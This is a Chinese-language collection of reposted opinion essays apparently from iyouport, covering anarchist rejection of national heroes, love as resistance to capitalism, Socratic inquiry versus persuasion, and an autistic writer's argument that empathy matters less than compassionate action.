我们需要更多地了解历史，了解导致目前状况的反抗运动和条件，了解过去人们如何鼓动社会、经济和政治变革；

我们需要参与反对我们社区中的不公正、侵略和剥削的斗争。每一次抗议、每一次研讨会、每一个花园、每一项书面工作、每一次我们组织的集会、每一个我们保护的社区都是朝着正确方向迈出的一步；

我们需要去它妈的民族英雄 —— 因为传说和故事是幽灵，会吓得我们向那些统治我们的人屈服。

去它妈的英雄，因为雕像和纪念碑不会把我们从痛苦、伤害和死亡中拯救出来。

去它妈的英雄，因为我们不能依靠别人。

除了我们自己，没有任何人可以拯救我们。○

本文中的故事涉及3本书：

- Constantino, R. (1972). *Veneration Without Understanding*
- Joaquin, N. (1977) *A Question of Heroes.* Anvil Publishing
- Brian Morris, (1993.) *Bakunin: The Philosophy of Freedom*

原文

去爱，就是真正的反抗 - iyouport

社会反抗和思考

进入爱，是根本性的革命行为，是抵抗当今乏味的、社会限制的、文化紧缩的世界的先决条件。

这是一个恋爱的季节

【以下文字来自巴尔的摩的心理治疗师 Colette Shade。以第一人称陈述。】

性和关系一直都是治疗中的重要话题。无论问题是与伴侣或配偶的冲突，决定是否保持关系，分手或离婚后的痛苦和困惑，约会和单身生活的挫折，或关于性的问题，治疗可以提供一个私密的和相对客观的空间来获得洞察力，并学习一些技能。

但问题是，我们并不是在真空中发生性行为或产生关系的。我们在社会和经济条件下约会、做爱、分手、结婚、离婚、生育和交流。像“我”的声明、价值观清单以及所谓的 DEAR MAN 技能这样的治疗技术也许可以使人际关系更容易驾驭，但是，当涉及到亲密关系时，资本主义仍然以无数种方式操控着你。由于这个原因，你无法通过简单的“治疗”来解决受制于整个社会环境的关系问题。

【注：辩证行为疗法（DBT）声称可以教人吗如何获得自己想要的，这一技巧包括描述情境（Describe）、清楚表达（Express）、勇敢要求（Assert）、强化对方（Reinforce）、留心观察（Mindful）、表现自信（Appear Confident）、协商妥协（Negotiate），合起来被称为“DEAR MAN”。】

正如我以前在《论坛报》上所写的那样，资本主义使生活的压力比它需要的要大得多。大多数人在一个生活成本不断飙升的社会中挣扎，大多数人一直在工作只为了能支付基本的生存必需品。我们的时间和金钱都很短缺，而这双重的匮乏会给性和关系带来严重的问题。

在2009年发表在《家庭关系》杂志上的一项研究中，研究人员发

现，“配偶对关于金钱的冲突的评价比其他冲突话题更激烈和重要。它们持续的时间更长，更经常涉及以前讨论过的问题，并且对夫妻关系的当前和长期重要性更高”。就在2022年2月，《独立报》报道了英国的一项研究，发现近三分之二的人承认与他们的伴侣争吵是为了钱；三分之一的人承认对他们的伴侣保守财务秘密，如储蓄或债务——这证明了财务压力有能力破坏良好关系管理的基本原则，如沟通和开放。当这种压力因过度工作而加剧时，就更难从恋爱关系中消除财务压力的问题了，这种情况经常发生。

当人们参与到任何一种非一夫一妻制的关系中时，时间稀缺的问题就变得更加普遍——开放关系、性放任、或多配偶制。越来越多的治疗师宣称自己是性主动的，提供有关这些生活方式的专业知识，并将其作为对现状的授权替代方案。几年前，有一次，一位治疗师问我是否会考虑用开放的关系来替代我觉得困在其中的不快乐的关系。我对她笑了：“我哪还有时间？”

一段关系进展的速度也可能受到经济因素的影响。昂贵的租金往往促使年轻夫妇在他们觉得真正准备好之前就搬到一起：仅在伦敦，租户在生活成本危机中面临着创纪录的租金，而2021年9月，伦敦以外的租金以自2008年以来最快的速度上涨，而与伴侣同居往往是缓解这种情况的一种方式。经济因素反过来又阻止人们离开他们不再感觉快乐的关系，更不用说是虐待性的关系了。治疗师经常发现自己在人际暴力的情况下帮助客户把握安全——但当可供选择的选项是要么接受虐待要么就无家可归时，又该如何为自己做出安全选择呢？

还有就是单身。正如作家安妮·海伦·彼得森(Anne Helen Petersen)所观察到的，不能分担住房、水电、家庭用品等方面的费用，使单身人士与有伴侣的人相比，在经济上处于不利地位。在美国，单身人士支付更多的税款，而婚姻是加入良好健康保险计划的唯一可靠途径。她引用的一项2013年的研究估计，一个年薪4万美元的单身女性与一个拥有相同薪水的已婚女性相比，在其一生中要多支付近50万美元的住房、医疗保健和其他费用。既然有这样的选择，你为什么不留在一个糟糕的关系中呢？

这类问题的解决方案通常归结为“更多钱和更多时间”的问题。例如，经济压力和过度工作可能带来的许多连锁反应之一是性欲的变化。2017年，瑞典的Overtornea小镇提出了带薪性休假的想法，以应对人口平均年龄的上升——虽然这个想法显然是愚蠢的，但它实际上表明了那种可能对关系产生积极影响的物质方法。一个更现实的解释可能是每周工作四天不减薪的形式，这将使个人有更多的时间来放松和培养他们关系中的身体和情感因素。为了放松对恋爱关系的一些

经济压力，人们可以很简单地想到需要更高的工资。

无论我们有什么样的关系—— 不仅是浪漫的关系，还有与朋友和家人的关系—— 资本主义的条件都在我们维持和培养这些关系的能力方面起着作用，它剥夺了我们的时间，并以勉强够用的报酬来回报我们。这并不是说取消资本主义可以解决所有的心灵问题—— 但是建立一个重视所有人的自由和福祉而不是少数人的财富的世界，有明显的好处。

> 进入爱，是根本性的革命行为，是抵抗当今乏味的、
> 社会限制的、文化紧缩的世界的先决条件。

爱改变了世界。

在爱中的人会发现自己曾经感到无聊的地方，现在他感到了激情；在她曾经感到自满的地方，她现在感到兴奋，并可以主动采取自信的行动。

曾经显得空虚和乏味的世界变得充满意义，充满刺激和回报，充满威严和危险。

对爱中之人来说，生活是一份礼物，是一次具有最高赌注的冒险；每一个时刻都令人难忘，在其短暂辉煌的美丽中令人心碎。当他坠入爱河时，一个曾经感到迷失方向、被疏远和困惑的人将清楚地知道他想要什么。突然间，存在对他来说充满意义；突然间，他感受到了存在的价值，甚至是光荣和高贵的。

燃烧的激情是一种解药，将治愈最糟糕的绝望和所有逆来顺受的情况。

爱使个人有可能以一种有意义的方式与他人联系起来 —— 它促使他们离开自己的保护壳，冒着风险一起诚实和随性，以深刻的方式来了解对方。

因此，爱使人们有可能真正地关心彼此，而不是在基督教教义的枪口下。

但与此同时，它也把爱中之人从日常生活的常规中抽离出来，把她与‘其他人类’区分开。她会觉得自己与人类的群体相距甚远，她生活在一个与他们完全不同的世界里。

在这个意义上，爱是颠覆性的，因为它对我们现代生活的既定秩序构

成了威胁。

工作日生产力的枯燥仪式和社会化的礼仪对一个身处爱中的人来说将不再有任何意义，因为有比单纯的惰性和对传统的遵从更重要的力量在引导着他。

依靠冷漠或不安全感来销售维持经济运行的产品的营销策略，对他没有任何影响。为被动消费而设计的娱乐，取决于观众的疲惫或愤世嫉俗，他不会再对此感兴趣。

在今天这个世界上，无论是商业领域还是私人领域，都没有浪漫恋人的一席之地。因为他可以看到，与心上人一起搭车去看美景（或坐在公园里看云彩飘过）可能比学习微积分准备考试或卖房地产更值得，如果他决定这样，他将有勇气去这样做，而不是被不满足的渴望所折磨。他知道，闯入墓地，在星空下做爱，会比看电视带来更难忘的夜晚。因此，爱本身对当今这个以消费为导向的经济体系构成了威胁，这种经济依赖于对（基本无用的）产品的消费、以及这种消费所需的劳动，来延续其自身。

同样，爱对当下的政治制度构成了威胁，因为很难说服一个在个人关系中拥有丰富东西的人愿意为“国家”这样的抽象事物而战斗和牺牲；就这一点而言，可能甚至很难说服他去交税。爱对各种文化都构成了威胁，因为当人类被真爱赋予智慧和勇气时，他们就不会被那些与指导他们的感情完全无关的传统或习俗所牵制。

爱甚至对我们的社会本身构成威胁。热情的爱被资产阶级所忽视和惧怕，因为爱对他们所觊觎的稳定和伪装构成了巨大的危险。

爱不允许谎言，不允许假话，甚至不允许任何‘有礼貌’的半真半假，而是将所有的情感裸露出来，揭示出被驯化的男人和女人们无法忍受的秘密。

你不能用你的情感和性反应来撒谎；无论你是否喜欢，无论它是否礼貌，无论它是否可取，情况或想法都会使你兴奋或排斥。

一个人不可能同时是一个情人和一个（可怕的）负责任的、（可怕的）受尊重的当今社会成员；因为爱会促使你做一些不“负责任”或不“受尊重”的事。

真正的爱是不负责任的，是不可抗拒的，是叛逆的，是对懦弱的蔑视，是对爱人和她周围的其他人的危险，因为它只为一个主人服务：

使人心跳加速的激情。

它藐视任何其他事物，无论是自我保护、顺从还是羞耻。

爱促使男人和女人走向英雄主义，也走向反英雄主义—— 走向对爱的人来说不需要辩护的行为。

因为爱中之人所说的是与典型的资产阶级男人所说的不同的道德和情感语言。普通资产阶级男人没有压倒性的、炽热的欲望。更可悲的是，普通资产阶级男人所知道的只是无声的绝望，这种绝望来自于他一生都在追求的他的家庭、他的学府、他的雇主、他的国家、和他的文化，为他所设定的目标，而从来没有考虑过他本人可能有什么样的需求和愿望。没有欲望之火的指引，他就没有标准来评判自己的对错。因此，他被迫采用一些教条或学说来指导自己的生活。

在思想市场上有各种各样的道德观可供选择，但是一个人接受哪种道德观并无关紧要，重要的是他选择了其中任何一种道德观，那是因为他对自己和自己的生活感到茫然，他觉得自己必需被指导。

有多少男男女女，从来没有意识到他们自己就可以选择自己的命运？只是因为他们不再有任何其他的想法，让生活在沉闷的阴霾中徘徊，只按照系统教给他们的律法来思考和行动 ……

但是，爱中之人是不需要预制的原则来指导她的；她自己的欲望就能确定什么是对的，什么是错的，因为她的心在引导她走过生活。她在这个世界中看到了美和意义，因为她的欲望把世界涂上了这些颜色。她不需要教条，不需要道德体系，不需要戒律和命令，因为她不需要被指示就知道该怎么做。

因此，爱中之人确实对这个现实社会构成了相当大的威胁 ——

- 如果每个人都为自己决定是非，而不考虑传统的道德，那会怎样？
- 如果每个人都做他们真正想做的事，并有勇气面对任何后果，那会怎样？
- 如果每个人都对无爱、无生命的单调生活的恐惧超过了他们对冒险的恐惧，超过了他们对饥饿、寒冷或危险的恐惧，那会怎样？
- 如果每个人都放下他们的所谓“责任”和“常识”，敢于追求他们最疯狂的梦想，把赌注定高高在上，把每一天都当作最后一天来过活，那会怎样！

请想一想，如果能如此，世界将是一个怎样的地方？

当然，它将与现在不同完全 —— 那些来自 “主流” 的家伙们，同时是现状的保持者和受害者，他们害怕改变，这是一个非常真实的事实。

因此，尽管媒体用刻板印象来销售牙膏和蜜月套房，但在我们的文化中从来不鼓励真正的激情之爱。

被 “情感冲昏头脑” 被认为是不可取的；相反，我们被教育成要始终 “保持警惕”，以免被我们自己的心 “引入歧途”。

我们没有被鼓励要有勇气地面对为追求我们自己的内心欲望而采取的风险的后果，而是被劝告根本不要去冒险，要有 “责任感”。

而爱情本身也受到管制，不论是基于性别还是种族甚至阶级。

已经与对方签订了法律/宗教契约的男人和女人们不得与其他人相爱，即使他们不再对自己的婚姻伴侣感到任何激情。

今天，我们大多数人所知道的爱情只是一种精心规定和预设的仪式，是在星期五晚上在昂贵的电影院和餐馆里发生的事，是充实娱乐业股东们口袋的东西，这种受管制的、商业化的 “爱” 与吞噬真正爱中之人的热情、燃烧的爱，完全不同。是这些限制、期望和规定扼杀了真正的爱；因为爱是一朵野花，永远不会在为它准备的范围内生长，它只会出现在它最不被期待的地方。

我们必须与这些会削弱和窒息我们的欲望的文化束缚作斗争。因为正是爱赋予了生命的意义，欲望使我们有可能使我们的存在变得有意义，并在我们的生活中找到目的。

没有这些，我们就没有办法决定如何生活，只能服从于一些权威，服从于一些神、君主或教义，让这些教义来操纵我们做什么和怎么做，而不会像自我决定那样给我们带来满足。

所以，今天就去爱吧，爱男人，爱女人，爱音乐，爱野心，爱你自己……爱生活！

有人可能会说，恳求他人进入爱是荒谬的—— 一个人要么爱，要么不爱，这不是一个可以有意识地做出的选择。情感并不遵循理性思维的指示。但我们必须在其中生活的环境对我们每个人的情绪有很大的影响，我们可以做出理性的决定，影响这个环境。我们应该有可能通过努力将一个对爱有敌意的环境改变成一个鼓励爱的环境。我们的任

务必须是设计我们的世界，使之成为一个人们能够并且确实可以沉浸于爱河的世界，从而重构人类，使我们为这些页面中谈到的“革命”做好准备—— 这样我们就能在生活中找到意义和幸福。

□□

原文

反说服 - iyouport

社会反抗和思考

了解需要彻底的合作 -- 这需要对被说服的开放和对说服的渴望。

哲学家并不是唯一热爱智慧的人。每个人，不管是不是哲学家，都爱自己的智慧；爱自己拥有的或认为自己拥有的智慧。哲学家的与众不同之处在于，他们爱自己所没有的智慧。因此，哲学是一种谦卑的形式：意识到你所缺乏的最重要的东西。可能没有人比苏格拉底更完美地体现了这种形式的谦逊了；他被认为是西方典籍中最重要的哲学家，这并不是巧合。

苏格拉底没有写哲学；他只是到处与人交谈。但这些对话是如此的具有变革性，以至于柏拉图将他的一生都献给了代表苏格拉底对话的对话录。这些对话不是实际对话的记录，但它们显然不仅要反映苏格拉底的思想，还要反映他的个性。柏拉图希望全世界都能记住苏格拉底。在苏格拉底死后的几代人中，斯多葛派和怀疑派等交战的哲学流派都把苏格拉底作为形象代言人。尽管他们在几乎所有的学说上都有分歧，但他们很清楚，为了将自己算作哲学家，他们就必须以某种方式在苏格拉底的传统中工作。

是什么让苏格拉底成为整个哲学机构的象征？请考虑这样一个事实：当德尔斐神谕宣布苏格拉底是最聪明的人时，他试图证明这是错误的。正如柏拉图在《道歉书》中所叙述的那样：

我去找那些被誉为智者的人，认为在那里，我可以反驳神谕，对它说："这个人比我更聪明，但你却说我最聪明"。然后，当我审视这个人时—— 我没有必要告诉你他的名字，他是我们的公众人物之一—— 我的经验是这样的：我认为他在很多人眼里，特别是在他自己眼里显得很聪明，但他并不聪明。然后我试图告诉他，他认为自己有智慧，但他没有。结果他就不喜欢我了，许多旁观者也不喜欢我。于是我退了出去，心里想："我比这个人更聪明；很可能我们都不知道任何有价值的东西，但他在不知道的时候认为自己知道一些东西，而当我不知道的时候，我并不认为自己知道；所以我很可能在这个小范围

内比他更聪明，我不认为自己知道我本不知道的东西”。

如果苏格拉底的标志性主张是这种对无知的抗议，那么他的标志性活动就是这段话中所描述的活动：驳斥他人的观点。这些都是我们在柏拉图的文本中发现的对话。主张和活动是如何关联的？苏格拉底否认他的动机是利他主义的：他说他不是一个老师，并坚持认为他自己是他发起的对话的主要受益者。这就增加了神秘感：苏格拉底通过向人们展示他们不知道他们认为自己知道的东西的收益是什么，他的角度是什么？

苏格拉底一次又一次地接近那些因缺乏谦逊而引人注目的人—— 也就是说，他们对自己对什么是公正的、虔诚的、勇敢的或温和的知识感到自信。你可能会认为，苏格拉底的成名之处在于他对自己的无知的认识，他会以蔑视、敌视或冷漠的态度对待这些自称的“智辩家”（Sophists）。但他没有。苏格拉底的做法最显著的特点是他的标致性的礼貌和真诚的热情。谈话通常以苏格拉底问他的对话者开始。既然你认为你知道，你能告诉我，什么是勇气（或智慧，或虔诚，或正义……）吗？一次又一次，结果是，人们认为自己能回答，但他们不能。苏格拉底的希望是永恒的：即使在他走向法庭接受审判并最终因为他的哲学活动而被处死的时候，他也很高兴遇到了自视甚高的牧师尤西弗罗，他肯定能说出虔诚是什么。(然而，他没说出来）

苏格拉底似乎认为，他周围的人可以帮助他获得他迫切想要的知识—— 尽管他们被自己已经知道这些知识的幻觉所束缚。事实上，我相信他们毫无根据的自信才是吸引苏格拉底的原因。如果你认为你知道什么，你就会准备好就有关的主题发言。你会滔滔不绝，大谈理论，提出主张—— 而这一切，在苏格拉底无情的追问下，是真正获得你曾自欺欺人地认为你已经拥有的知识的途径。

我们来勾画一下你可能与苏格拉底进行的对话 ——

苏格拉底：什么是勇气？

你；勇气就是在不知道结果如何的情况下愿意承担巨大的风险。

苏格拉底：比如冒着生命危险？

你：是的。

苏格拉底：勇气是好的吗？

你：是的。

苏格拉底：你希望你自己和你的孩子有这样的勇气吗？

你：是的。

苏格拉底：你想让你的孩子们冒着生命危险到处跑吗？

你：不。也许我应该说，勇气是谨慎的冒险，你得知道你在做什么。

苏格拉底：就像一个投资专家，他知道如何冒着风险去赚更多的钱？

你：不，那不是勇气……

在这一点上，你的思路已经被封锁了。你不能说勇气是无知的冒险，你也不能说勇气是谨慎的冒险。你已经没有前进的道路了。你处于苏格拉底的对话者所称的无序状态，一种你无处可去的迷茫状态。

假设对话只进行到这里 —— 就像苏格拉底的对话者所特有的那样，你进行到这里的时候已经气急败坏地离开了。

让我们先从你开始。这时你的心情可能比你刚遇到苏格拉底时更糟糕，但他并没有伤害你。事实上，你比以前更好了：你已经了解到，勇气并不像你最初认为的那样容易定义。虽然被改进认知并不总是令人愉快的经历。

第二，苏格拉底学到了一些东西。勇气似乎涉及到耐力或坚守之类的东西，但它不能直截了当地与这种状态相提并论，即使我们加上一些其他的成分，如智慧。在这次谈话之前，苏格拉底不知道勇气是什么。现在他的无知可以有一个更具体的形态了：他不知道勇气和耐力之间的联系是什么。他仍然知道他不知道勇气是什么，但他对自己的无知的认识得到了改善，变得更加精确了。

说“我什么都不知道”是一回事。这种想法很廉价。人们可以想，“谁又确实和真正知道什么呢？”这种方式是轻蔑的、不问世事的、超然的。这可能是一种说法，“知识是无法实现的，所以为什么还要尝试？”然而苏格拉底式的谦逊比这更昂贵，更投入。他寻求绘制他的无知的地形图，规划它的山脉和河流，学习如何驾驭它。我想，这就是为什么他谈到对自己的无知的认识。他不仅是一个承认或接纳自己无知的人，而且是一个学会在无知中生存的人。

诚然，这似乎是一个自相矛盾的项目。丢失钱包是一回事—— 一旦你找到它，你就会知道。但是，假设你不仅丢失了你的钱包，而且还丢失了关于你曾经拥有钱包的知识，以及对钱包是什么的理解。苏格

拉底的一个对话者梅诺怀疑，如果你一开始就知道得这么少，是否有可能认识到任何东西。如果一个人不知道自己要去哪里，就似乎甚至不能在正确的方向上迈出第一步。你能在完全黑暗的环境中导航吗？

苏格拉底的答案是否定的。或者至少是：你不能独自完成这件事。注意到自己的无知的正确反应是试图通过获取别人的知识来逃避它。但这样做的唯一方法是向他们解释为什么你还不能接受他们的这个或那个主张为知识 —— 这就是描绘一个人的无知。苏格拉底为梅诺展示了这种方法，他向一个年轻的奴隶男孩展示了他能在几何学上取得多大的进步，他什么也没做，只是问了一些问题，揭露了这个男孩的错误假设。正是在他反驳别人的知识主张时，苏格拉底自己的无知对他来说，才形成了他可以知道的东西。当自省地接近黑暗之海时，当接触到他人的知识主张时，就会发现它是可以驾驭的。

苏格拉底是一个不寻常的人。请看他对神谕的反应。大多数被可信赖的权威宣称有智慧的人都不会有反驳该权威的冲动。相反，他们沉浸在他们一生都渴望听到的对自己的美誉的荣耀之中。大多数人会把谈话引向自己有专长的领域；他们努力指正错误；他们有一种背景自信，认为自己牢牢掌握了基本知识。他们乐于把其他人 —— 那些有不同政治或宗教观点的人，或接受不同教育的人，或生活在世界不同地区的人—— 视为无知的和无助的。他们渴望为自己所想的一切争取知识的地位。

但苏格拉底并没有把这种差异作为鄙视或否定这个群体的理由，也就是大多数人（hoi polloi）。相反，他认为他和大多数人是天作之合。大多数人提出了主张，而苏格拉底驳斥了他们。大多数人认为需要拥有真理。而苏格拉底看到了获取谎言的危险。大多数人觉得自己充满了丰富的洞察力和杰出的思想。苏格拉底认为自己没有这些东西。没有大多数人的帮助，苏格拉底就没有什么可思考的。苏格拉底的需求感并没有逃脱他自己的注意。在泰阿泰德篇 (Theaetetus)中，他把自己描述成一种助产士—— 自己没有知识，却参与 “接生” 大多数人的智慧结晶。

苏格拉底认为追求知识是一个合作项目，涉及两个非常不同的角色。一个是你或我，或其他大多数人的代表，他们站出来提出一个大胆的主张；另一个是苏格拉底，或他的一个当代后裔，他质疑、审问、区分并要求澄清。这是我们现在仍在经常做的事 —— 作为哲学家，作为科学家，作为采访者，作为朋友，在 Twitter 和 Facebook 上以及在许多随意的个人谈话中。我们彼此间不断地相互试探，问：“鉴于 X、Y、Z，你怎么能这么说？” 我们仍在试图通过反对、澄清和无法将某人所说的话当作知识的简单事实来理解彼此。我们如此自然地将

自己组织成认知者/反对者的组合，以至于我们甚至没有注意到我们正生活在苏格拉底创造的世界中。他的影响范围是显著的。但同样引人注目的是实现这种影响的手段。

然而，尽管有这样的影响，如今人们的许多方式正变得远离苏格拉底。我们的政治越来越多地以单边说服而不是合作探究为标志。如果像苏格拉底一样，你把知识看作是一个本质上的合作项目，你就不会在谈话中期望说服别人，就像你不会期望被说服一样。相比之下，如果你确实认为自己知道，你就会提前接受说服者的角色，并随时准备说服人们达成一致。如果争论失败，你可能会容忍分歧的状态 —— 但如果事情足够严重，你会通过奖励或惩罚来强制执行你的观点。苏格拉底的方法避开了说服的压力。同时，他也不容忍宽容。他的谦逊政治涉及到真正开放争议中的问题，其方式是任何一方都不允许关闭问题，不允许确定一个答案，除非对方做出同样的回答。相比之下，我们的当下的政治 —— 劝说、容忍、激励和惩罚—— 是非常不探究的。

柏拉图在斐多篇 (Phaedo)中描绘了苏格拉底的最后时刻。在他通过喝下毒芹来完成死刑判决之前，他提出了一系列关于灵魂不朽的论点。每一个论点都试图在前一个论点失败的基础上加以改进，向他周围的人表明他的死亡并不值得哀悼。尽管论证很精彩，很精炼，很详细，但他并没有说服他的对话者。可以说，他也没有说服读者。还可以说，他甚至没有设法说服自己。他死了，就像他活着的时候一样，无知和不停息地探究。〇

原文

同理心被高估了 - iyouport

社会反抗和思考

【2021年4月9日存档】你不能只是对一个正在受苦的人进行深刻的共情。这和为他们祈祷一样毫无作用。如果你真的想改善一个人的处境，你必须投入时间和资源来实际地帮助他们。

我以前认识一个叫 Steven 的人，他总自称是一个 “共情者”，容易对他人的境遇感同身受。事实上，我认识很多这样的人。我经常和艺术家、演员、以及性少数群体打交道，他们读过大量的心理自助类书籍；在这些圈子里，人们时常视自己为 “共情者”。

但是，当我想到共情这个概念很容易被人误解的本质，以及它是如何在我们的文化中被过分夸大的时，我总是会想到 Steven。

Steven 是个善良、热心、善于交朋友的人。他有着敏锐的洞察力，对周围每个人的内心世界都很着迷。他热衷于散播善意的八卦，总是知道谁在受苦，哪些朋友在吵架，谁要和谁勾搭上了等等。如果一对生活了多年的伴侣打算离婚，他一定是第一个知道的人；如果有人找了一份新工作或是拿到了研究生的录取通知，他也一定是那个第一个出现替他们庆祝的人。

有时候，Steven 的情感直觉让我觉得他是个超人。有一次，我在一场拥挤的聚会上喝醉了，正在痛哭流涕，他安慰了我。我永远不会忘记他在那一刻让我体会到了被爱和被保护的感觉。那时候我们还几乎不认识对方，但他清楚地知道该说些什么来平复我的情绪。

在其他时候，Steven 的同理心似乎是一种保护性的表象。通常，他很善于读懂别人的心思，但是，当别人看起来不舒服或者不想配合他做他想做的事的时候，他就很难做到尊重这种想法。

他会把朋友们对他坦承的所有私人信息告诉其他人 —— 不管其内容有多么地令人尴尬或者多么糟糕。有一次，我告诉他有个男人一直在街上跟踪骚扰我，Steven 变得非常痛苦，我不得不反过来安慰他。

他过度的同理心有时候会把我们彼此推开，而不是帮助我们紧密相连。

> 擅长感受别人的情绪并不会天然地让你成为一个好人。

我们的文化对共情的力量过于痴迷了。每当有政客剥夺一个被边缘化的群体的权利时，左翼人士就会公开谴责他们缺乏同理心。当仇恨团体发起攻击、说出非常多尖酸刻薄的话时，他们明显缺乏同理心这点就会被认为是罪恶的根源。就连对资本主义的批判，也莫名其妙地变成了有关同理心的对话。人们似乎认为，最紧迫的问题在于亿万富翁缺乏爱心，而不在于让他们成为亿万富翁的权力体系和资本主义体制本身。

作为一个关注社会问题的自闭症患者，这种对同理心的痴迷让我感到沮丧。

感受别人的情绪并不会天然地让你成为一个好人。情绪敏感并不能确保你会采取必要的步骤去帮助别人。

而我们之中那些难以共情的人也并非怪物或机器人。我们和其他人一样能够*做出*富有同情心的行为。

同理心被高估了。这是一种诱人的幻觉。事实上，你永远也不会真的知道另一个人的感受，你也不需要这样做。你不需要直觉性的、魔法般的共情能力来帮助他人或纠正社会的错误。你的行为和选择比你的感受更重要。

同理心是一种幻觉

「图」

你可能听说过，对同理心的定义是“感受别人的感受”。即使在心理学领域，人们也经常这样解释同理心。当别人悲伤时，有同理心的人也会感到悲伤。当你目睹他人被打时，同理心可能会让你自己的大脑被疼痛激活 …… 这几乎就像拥有通灵能力，是吧？

同理心的这一定义的问题在于，人们往往只是从字面上去理解它。自我认定的共情者（以及高敏感族群即 HSP）通常相信他们自己具有独特的直觉，对其他人的感受有一种“第六感”。几乎每一本关于共情者和高敏感族群的流行书籍都强化了这种信念。它们将同理心描述为一

种“天赋”，使用敬畏的、模糊的语言暗示它几乎就像魔法一样。

但事实并非如此。同理心充其量只是一种幻觉。

共情是一种情感模拟，模拟的是 *你认为* 另一个人可能产生的感受。这些模拟出的情绪可能是强烈的和扣人心弦的，但这并不意味着它们是正确的。如果一个人的面部表情很难阅读，或者他们的体验和反应都不太寻常，同理心可能就无法告诉你他们正在经历什么。

我是一个自闭症患者，那些自认为有同理心的人总是读错我的情绪。我以前有一个同事叫 Lauren，她非常敏感善良。Lauren 坚信我是一个悲惨至极的孤独家伙。每次她路过我的办公室打招呼时，都会注意到我皱着眉头，所以她会以一种夸张的方式皱眉回应，用低沉而忧虑的声音问我是否“还好”—— 就好像我是一只受了惊吓的小兔子，受了伤躺在树林里似的。

当 Lauren 看着我的时候她感到有点难过、不自在。她认为这意味着我也很难过、很不自在。而事实上，我松弛的面部表情只是很平淡罢了，也许看起来很“冷漠”，特别是对于非自闭症患者而言。

研究表明，神经正常的人常常在自闭症患者周围感到不安，哪怕他们不能确定原因是什么。这其中很大一部分往往是对于我们如何表达情绪的困惑。在试图与我建立情感联系的过程中，Lauren 让我产生了被疏远和误解的感受。

当人们对共情的直觉魔力过于自信时，就有可能犯各种各样的错误。

你可能会认为一个因犯罪而受审的人冷酷无情，是个反社会分子，但实际上他们是因为恐慌僵住了。非黑人可能会认为一位黑人女性面露“愤怒”，那只是因为种族主义蒙蔽了人们的认识。

你也许只会同情那些以你认为“正常”的方式表达情感的人—— 而这种“正常”只基于你自身的文化。

错位的同理心不仅无法把我们联系在一起，反而会将我们推离彼此。

同理心不是观点采择

「图」

心理学中有时会对情绪（或情感）共情、和认知（或精神）共情进行区分。情绪共情是值感受（我们所认为的）另一个人的感受，类似中

文所说的“感同身受”。当一般人使用“同理心”这个词时，他们指的就是这层含义。认知共情也被称为观点采择（perspective-taking）是想象通过另一个人的眼睛看世界，并思考他们可能正在经历的一切。类似中文所说的“换位思考”。

观点采择在许多方面都不等于同理心。首先，观点采择是一项任何人都可以练习的技能。你不必天生就擅长这个。观点采择包括仔细思索某人的生活，批判性地分析他们是如何思考的，随着新信息的出现，可以更新或完善自己的理解。这不是一种本能，而是一种你可以选择采取的行为。

许多自闭症患者 —— 以及患有注意力缺陷及多动障碍（ADHD）、反社会人格障碍、边缘性人格障碍、和其他疾病的人 —— 都很难产生同理心。我们时常通过培养敏锐的观点采择技能来对此进行过度补偿。

我不是总能从别人的表情或语气中读出他们的情绪，但我可以关注他们所说的内容，思考我对他们和他们的生活的了解，并从这一切数据中得出合理的结论。

我花了很多时间思考其他人的生活，试图拼凑出对他们体验这个世界的可能方式的理解。每当我遇到陌生人，都会试着去想如何避免不小心伤害到他们或疏远他们。如果他们是被边缘化的群体中的一员，我会记着努力避免那些无知的、略带侵略性的话。如果他们与我分享私人的、敏感的信息，我会尽量认真倾听，而不是用伤害性的陈词滥调来回应。

当一个理应更有同情心的非自闭症患者参与进同样的谈话，却立即说出不过脑子的话、或者用心灵鸡汤式的语言劝人乐观、对他人的情绪轻描淡写时，我总是感到震惊不已。

这种漠不关心的态度对我来说是难以理解的。然而，那些被认为“具有共情能力”的人却一直表现得这样漫不经心。

有些人发现社交是如此轻而易举，以至于他们从来不需要学习观点采择。因此，他们之间的许多互动是不经思考、活泼轻巧的，换言之，是相当肤浅的。

同理心是压倒性的

「图」

同理心的另一个缺点是，它会变得过分强大。当你陷入感知他人的情绪（或至少是你认为的他们的情绪）时，你可能就无法清晰地思考。你甚至可能难以看清你所与之共情的人。

人们对自闭症患者通常会产生“缺乏同理心”的刻板印象，但是，有一种关于自闭症的常见理论认为，我们已经体验了过度的、令人痛苦的共情。自闭症患者很容易因为他人的痛苦、愤怒甚至快乐而超负荷。我们可能会因为强烈而难以名状的情绪产生困惑。它会导致我们崩溃或分裂。

有时候，当人们吵闹或笑得太大声时，我就会产生压力；即使我想分享他们的快乐，这份快乐也让我感到紧绷。

另一方面，与痛苦的人深入交谈会让我在之后的数日里都感到精疲力竭。当我被另一个人的情绪压倒时，就会开始撤退。

我看起来比平时更加冷漠和机械。我可能无法与他们进行眼神交流。我甚至可能陷入沉睡。这是一个自闭症患者“停止运转”的状态，然而人们却错误地认为这是“冷漠和缺乏同理心”。

> 真正的问题在于，强烈的同理心有时会抑制帮助的行为。

同理心也会以伤害性的方式压倒非自闭症患者。

有时候，人们过于关注他人的感受，与他人过分共情，以至于忘记了关注真正受到伤害的人。例如，一个白人可能会为种族主义大哭一场，以至于把注意力从真正遭受苦难的有色人种身上转移开。或者一个所谓的支持你的女权主义者朋友，可能会因为听到你前男友的虐待行为而感到非常痛苦，以至于你发现自己不得不反过来安慰他们，而不是他们安慰你。

很多人会把这种行为归咎于自恋，但自恋的人也能够像其他人一样关心他人、富有同情心。

这里的问题并不在于人们对与自己无关的事产生强烈的情绪。这些感受是完全中性的，既不邪恶，也不善良。真正的问题在于，强烈的同理心有时会抑制帮助的行为。

代替别人感到强烈的悲伤完全没有问题—— 只要你不要错误地把它和采取富有成效的行动画上等号。说到底，你的行为比你的感受重要得多。

同理心不是同情心

「图」

同理心是一种内在体验。就其本身而言，它无助于纠正结构性不公正、也无法带来安慰。当进步人士谴责我们文化中缺乏同理心时，他们真正的意思是缺乏同情心。值得庆幸的是，人们不需要同理心也能做出富有同情心的行为。

同情心驱使我们做一些事，比如关照年老独居的亲戚，为失业者的众筹活动捐款，以及志愿花时间推动人们去投票站。不同于主要由情感驱动的同理心，同情心的本质可以是情感的、智性的，甚至是哲学的。

如果我决定支持自己大学的研究生工会，也许是出于对工人受到的剥削和压迫感到悲伤，也可能是因为我从理智层面认识到，这样的努力是重要的。无论引导我做出同情行为的是我的心灵还是我的思想，这都不重要。重要的是我选择了参与其中。

